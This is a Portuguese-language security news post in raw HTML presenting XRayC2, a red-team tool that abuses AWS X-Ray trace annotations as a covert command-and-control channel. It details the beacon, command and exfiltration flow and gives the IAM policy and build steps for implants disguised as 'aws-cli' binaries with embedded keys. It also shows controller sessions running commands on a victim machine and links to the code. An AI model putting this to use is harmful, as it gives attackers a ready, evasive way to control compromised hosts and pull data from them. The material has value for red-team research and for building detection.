Código HTML do Conteúdo

Post: Ghost in the Cloud: Armamento do AWS X-Ray para comando e controle


<div> <div> <h2>Ghost in the Cloud: Armamento do AWS X-Ray para comando e controle</h2> <h2>Os invasores podem usar o AWS X-Ray como um canal C2 bidirecional secreto, abusando da infraestrutura leg&iacute;tima de rastreamento de nuvem para C2.</h2> <p id="dae4"><strong>Resumo e Antecedentes</strong>: Antes de come&ccedil;armos, se voc&ecirc; ainda n&atilde;o teve a chance de ler meu<a href="https://medium.com/deriv-tech/meetc2-a-k-a-meeting-c2-1fc2a6761068" target="_blank">Conhe&ccedil;aC2</a> log post, ainda, d&ecirc; uma lida.</p> <p id="2bff">Estou usando o MeetC2 em minhas campanhas RedTeam h&aacute; meses e, com o incr&iacute;vel feedback da comunidade, planejei publicar um novo kit de ferramentas (XRayC2).</p> <p id="e6b1">Sempre gosto de trabalhar na evas&atilde;o de acesso inicial contra as defesas de rede tradicionais. Nisso, usamos o servi&ccedil;o de rastreamento de aplicativos distribu&iacute;dos da AWS X-Ray Amazon como um canal de comunica&ccedil;&atilde;o secreto. Essa t&eacute;cnica aproveita a infraestrutura leg&iacute;tima de monitoramento de nuvem para estabelecer comunica&ccedil;&atilde;o C2 bidirecional.</p> <p id="80b4">A infraestrutura C2 tradicional depende do estabelecimento de conex&otilde;es de rede entre servidores controlados por invasores e hosts comprometidos. Essa abordagem deixa in&uacute;meras oportunidades de detec&ccedil;&atilde;o, como dom&iacute;nios suspeitos, IPs desconhecidos, padr&otilde;es de rede incomuns e anomalias de certificado SSL.</p> <p id="1fa7"><strong>Fluxo de comunica&ccedil;&atilde;o</strong></p> <p id="1b0d">Dom&iacute;nio &mdash;<em>Xray.[region].amazonaws.com</em></p> <p id="9491">O AWS X-Ray foi projetado para ajudar os desenvolvedores a entender o desempenho do aplicativo coletando rastreamentos. No entanto, as anota&ccedil;&otilde;es do X-Ray podem armazenar dados arbitr&aacute;rios de valor-chave, e o servi&ccedil;o fornece APIs para gravar e consultar esses dados.</p> <pre>Phase 1: Implant Beacon (Establishing Presence)<br>&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;<p>Target System X-Ray Service Controller<br> &#9474; &#9474; &#9474;<br> &#9474; PUT /TraceSegments &#9474; &#9474;<br> &#9474; { &#9474; &#9474;<br> &#9474; trace_id: "1-67a2b...", &#9474; &#9474;<br> &#9474; annotations: { &#9474; &#9474;<br> &#9474; service_type: "health_check" &#9668;&#9472;&#9472;&#9472; Beacon Marker &#9474;<br> &#9474; instance_id: "a3f7b2c8" &#9668;&#9472;&#9472;&#9472; Unique Implant ID &#9474;<br> &#9474; platform: "darwin" &#9668;&#9472;&#9472;&#9472; OS Information &#9474;<br> &#9474; } &#9474; &#9474;<br> &#9474; } &#9474; &#9474;<br> &#9474;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9658; &#9474;<br> &#9474; &#9474; GET /TraceSummaries &#9474;<br> &#9474; &#9474; (Poll for new beacons) &#9474;<br> &#9474; &#9668;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9508;<br> &#9474; &#9474; &#9474;<br> &#9474; &#9474; Returns beacon traces &#9474;<br> &#9474; &#9500;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9658;&#9474;<br> &#9474; &#9474; &#9474;<br> &#9474; &#9474; [+] New implant: a3f7b2c8<br> &#9474; &#9474;</p></pre> <pre>Phase 2: Command Delivery (Controller &rarr; Implant)<br>&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;<p>Controller X-Ray Service Target System<br> &#9474; &#9474; &#9474;<br> &#9474; xray-c2&gt; cmd whoami &#9474; &#9474;<br> &#9474; &#9474; &#9474;<br> &#9474; PUT /TraceSegments &#9474; &#9474;<br> &#9474; { &#9474; &#9474;<br> &#9474; trace_id: "1-67a2c...", &#9474; &#9474;<br> &#9474; annotations: { &#9474; &#9474;<br> &#9474; config_a3f7b2c8: &#9474; &#9474;<br> &#9474; base64(timestamp:whoami) &#9668;&#9472;&#9472;&#9472; Encoded Command &#9474;<br> &#9474; } &#9474; &#9474;<br> &#9474; } &#9474; &#9474;<br> &#9500;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9658; &#9474;<br> &#9474; &#9474; &#9474;<br> &#9474; &#9474; GET /TraceSummaries &#9474;<br> &#9474; &#9474; (Implant polls) &#9474;<br> &#9474; &#9668;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9508;<br> &#9474; &#9474; &#9474;<br> &#9474; &#9474; Returns traces with &#9474;<br> &#9474; &#9474; config_a3f7b2c8 &#9474;<br> &#9474; &#9500;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9658;&#9474;<br> &#9474; &#9474; &#9474;<br> &#9474; &#9474; [Decode: "whoami"]<br> &#9474; &#9474; [Execute command]</p></pre> <pre>Phase 3: Result Exfiltration (Implant &rarr; Controller)<br>&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;<p>Target System X-Ray Service Controller<br> &#9474; &#9474; &#9474;<br> &#9474; [Command executed: "zero"] &#9474; &#9474;<br> &#9474; &#9474; &#9474;<br> &#9474; PUT /TraceSegments &#9474; &#9474;<br> &#9474; { &#9474; &#9474;<br> &#9474; trace_id: "1-67a2d...", &#9474; &#9474;<br> &#9474; annotations: { &#9474; &#9474;<br> &#9474; instance_id: "a3f7b2c8" &#9474; &#9474;<br> &#9474; execution_result: &#9474; &#9474;<br> &#9474; base64("zero") &#9668;&#9472;&#9472;&#9472; Encoded Output &#9474;<br> &#9474; } &#9474; &#9474;<br> &#9474; } &#9474; &#9474;<br> &#9474;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9658; &#9474;<br> &#9474; &#9474; &#9474;<br> &#9474; &#9474; GET /TraceSummaries &#9474;<br> &#9474; &#9474; (Poll for responses) &#9474;<br> &#9474; &#9668;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9508;<br> &#9474; &#9474; &#9474;<br> &#9474; &#9474; Returns result traces &#9474;<br> &#9474; &#9500;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9658;&#9474;<br> &#9474; &#9474; &#9474;<br> &#9474; &#9474; [+] Response from a3f7b2c8:<br> &#9474; &#9474; zero</p></pre> <p id="c4de">O intervalo de beacon aleat&oacute;rio acontece entre 30 e 60 segundos. O implante implementa manualmente a autentica&ccedil;&atilde;o personalizada do AWS SigV4. Al&eacute;m disso, a solicita&ccedil;&atilde;o de API para o X-Ray deve ser assinada usando<em>HMAC-SHA256</em>com a chave de acesso e o segredo, seguindo o formato de solicita&ccedil;&atilde;o can&ocirc;nico espec&iacute;fico da Amazon, que cria tr&aacute;fego leg&iacute;timo da API da AWS que se encaixaria com logs de rede regulares.</p> <p id="7412"><strong>Configura&ccedil;&atilde;o da AWS</strong></p> <p id="7ea0">Certifique-se de usar seu locat&aacute;rio fict&iacute;cio da AWS para isso, uma vez conectado, navegue at&eacute; &ldquo;<strong>IAM</strong>&rdquo; &amp; criar um nome de usu&aacute;rio &ldquo;<strong><em>Xray</em></strong>&rdquo; anexar &ldquo;<strong><em>AWSXRayDaemonWriteAccess</em></strong>&rdquo; em pol&iacute;ticas de permiss&otilde;es. Em seguida, crie uma pol&iacute;tica personalizada com o JSON abaixo e envie. Uma vez que o usu&aacute;rio &eacute; criado, podemos usar seu cliente AWS e segredo para implante e controlador.</p> <pre>{<br> "Version": "2012-10-17",<br> "Statement": [<br> {<br> "Effect": "Allow",<br> "Action": [<br> "xray:PutTraceSegments",<br> "xray:GetTraceSummaries",<br> "xray:BatchGetTraces"<br> ],<br> "Resource": "*"<br> }<br> ]<br>}</pre> <p id="399a"><strong>Como correr?</strong></p> <p id="ed14">Baixar XRayC2 &mdash;<a href="https://github.com/RootUp/XRayC2" rel="noreferrer noopener" target="_blank">https://github.com/RootUp/XRayC2</a></p> <pre>bash-3.2$ ./build_standalone.sh <br>=====================================<br> X-Ray C2 Standalone Builder<br> @RandomDhiraj<br>=====================================<p>Enter AWS credentials to embed in implants:<br>AWS Access Key ID: [Enter your key]<br>AWS Secret Access Key: [Enter your key]</p><p>[*] Building macOS implant (zero dependencies)...<br>[+] Built: aws-cli (5.8M)</p><p>[*] Building Windows implant (zero dependencies)...<br>[+] Built: aws-cli.exe (5.9M)</p><p>[*] Cleaning up...</p><p>=====================================<br>STANDALONE BUILD COMPLETE!</p><p>Zero-dependency implants ready:<br> &bull; aws-cli (macOS/Linux)<br> &bull; aws-cli.exe (Windows)</p><p>Just double-click and run!<br>=====================================<br>bash-3.2$<br>bash-3.2$ file aws-cli<br>aws-cli: Mach-O 64-bit executable x86_64<br>bash-3.2$ <br>bash-3.2$ file aws-cli.exe <br>aws-cli.exe: PE32+ executable (GUI) x86-64, for MS Windows<br>bash-3.2$</p></pre> <pre>bash-3.2$ export AWS_ACCESS_KEY_ID="[AWS user "XRay" Key]"<br>bash-3.2$ export AWS_SECRET_ACCESS_KEY="[AWS user "XRay" Key]"<br>bash-3.2$ <br>bash-3.2$ python3.10 controller.py <br>[+] AWS Account: 691455350179<br>[+] Region: eu-west-1<p>&#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;<br>&#9474; X-Ray C2 Controller &#9474;<br>&#9492;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9496;</p><p>Available Commands:<br> list - List active implants<br> use </p> - Select implant<br> cmd - Send command to selected implant<br> info - Show implant details<br> clear - Clear screen<br> exit / quit - Exit controller<p> xray-c2 (none)&gt; <br>xray-c2 (none)&gt; list<br>[-] No active implants<br>xray-c2 (none)&gt;</p></pre> <p id="522a">Execute o implante na m&aacute;quina v&iacute;tima<code>aws-client</code>ou<code>aws-client.exe</code>Voc&ecirc; ver&aacute; o retorno de chamada que pode ser gerenciado a partir do controlador.</p> <pre>xray-c2 (none)&gt; <br>xray-c2 (none)&gt; <br>[+] New implant connected: 1e055763 (darwin)<br>xray-c2 (None)&gt; <br>xray-c2 (none)&gt; list<p>[+] Active Implants:<br>----------------------------------------------------------------------<br>ID: 1e055763<br> Status: Active (last beacon 3s ago)<br> First Seen: 11:04:34<br> Last Seen: 11:04:34<br> Beacons: 1<br> OS: darwin<br>----------------------------------------------------------------------<br>xray-c2 (none)&gt; use 1e055763<br>[+] Selected: 1e055763<br>xray-c2 (1e055763)&gt; <br>xray-c2 (1e055763)&gt; cmd hostname<br>[*] Sending command to 1e055763: hostname<br>[+] Command sent (implant will receive on next beacon)<br>xray-c2 (1e055763)&gt; <br>[+] Response from 1e055763:<br>Dhirajs-MacBook-Pro-2.local</p><p>xray-c2 (1e055763)&gt; <br>xray-c2 (1e055763)&gt;</p></pre> <p><strong>Prova de conceito em v&iacute;deo</strong></p> <figure> <p><iframe loading="lazy" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="375" src="https://www.youtube.com/embed/C6fFUozkcg4?feature=oembed" title="XRayC2 - Command &amp; Control" width="500"></iframe> </p> </figure> <p>Deixe-me sugerir a leitura de mais Dhiraj <a href="https://medium.com/@dhiraj_mishra" target="_blank">an&aacute;lise incr&iacute;vel no Medium</a> de gra&ccedil;a.</p> <p><strong>Sobre o autor:Pesquisador de seguran&ccedil;a Dhiraj Mishra (<a href="https://twitter.com/mishradhiraj_" target="_blank">@mishradhiraj</a>)</strong></p> <p>Siga-me no Twitter:<a href="https://twitter.com/securityaffairs" target="_blank">@securityaffairs</a>e<a href="https://www.facebook.com/sec.affairs" target="_blank">Linkedin</a>e<a href="https://infosec.exchange/@securityaffairs" target="_blank">Mastodonte</a></p> <p><a href="http://www.linkedin.com/pub/pierluigi-paganini/b/742/559" target="_blank">PierluigiPaganini</a></p> <p>(<a href="http://securityaffairs.co/wordpress/" target="_blank">Assuntos de Seguran&ccedil;a</a>&ndash;hacking,MeetC2)</p> <hr> <hr> </div></div>